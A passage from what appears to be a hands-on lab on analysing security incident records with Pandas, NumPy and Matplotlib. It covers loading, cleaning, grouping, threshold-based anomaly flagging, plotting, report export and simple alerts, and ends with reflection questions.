4,Ransomware,8,2024-11-04
5,Phishing,,2024-11-05
```

2. **Write a Python script to read the data using Pandas:**

```
import pandas as pd

# Load the CSV file
df = pd.read_csv('incident_data.csv')

# Display the DataFrame
print("Loaded Data:")
print(df)
```

3. **Run the script to verify the data is loaded correctly.**

Step 2: Clean Data

1. **Handle Missing Values in the Dataset:**

```
# Fill missing values in the 'value' column with 0
df['value'] = df['value'].fillna(0)
```

```
# Display cleaned data
print("Cleaned Data:")
print(df)
```

2. **Run the script and observe the cleaned dataset.**

Part 2: Data Analysis

Step 1: Aggregation Using Pandas

1. **Group data by incident_type and calculate the mean value:**

```
# Group by incident type and calculate mean
grouped_df = df.groupby('incident_type').mean()

# Display grouped data
print("Grouped Data by Incident Type:")
print(grouped_df)
```

2. **Run the script and analyze the grouped data.**

Step 2: Statistical Analysis Using NumPy

1. **Calculate basic statistics for the value column:**

```
import numpy as np

# Convert the 'value' column to a NumPy array
values = df['value'].to_numpy()

# Calculate statistics
mean_value = np.mean(values)
std_dev = np.std(values)

print(f"Mean Value: {mean_value}")
print(f"Standard Deviation: {std_dev}")
```

2. **Run the script and note the statistics.**

Step 3: Detect Anomalies

1. **Identify anomalies where value exceeds a threshold (e.g., 6):**

```
# Filter for anomalies
threshold = 6
anomalies = df[df['value'] > threshold]

print("Anomalies Detected:")
print(anomalies)
```

2. **Run the script and review the detected anomalies.**

Part 3: Data Visualization

Step 1: Visualize Data Using Matplotlib

1. **Plot a histogram of the value column:**

```
import matplotlib.pyplot as plt

# Plot a histogram
df['value'].hist()
plt.title("Incident Value Distribution")
plt.xlabel("Value")
plt.ylabel("Frequency")
plt.show()
```

2. **Run the script and interpret the histogram.**

Part 4: Automation and Reporting

Step 1: Automate Report Generation

1. **Generate a CSV report of grouped data:**

```
# Export grouped data to CSV
grouped_df.to_csv('incident_report.csv', index=True)

print("Report saved as 'incident_report.csv'")
```

2. **Run the script and verify the report is saved correctly.**

Step 2: Generate Alerts

1. **Add logic to trigger alerts for anomalies:**

```
# Check for values exceeding the threshold
if df['value'].max() > threshold:
    print("ALERT: Incident value exceeds threshold!")
```

2. **Run the script and confirm the alert logic works.**

Reflection

1. How do Pandas and NumPy simplify incident response analysis?
2. What insights can be gained from grouping and aggregating incident data?
3. How can automated reports and alerts improve incident detection workflows?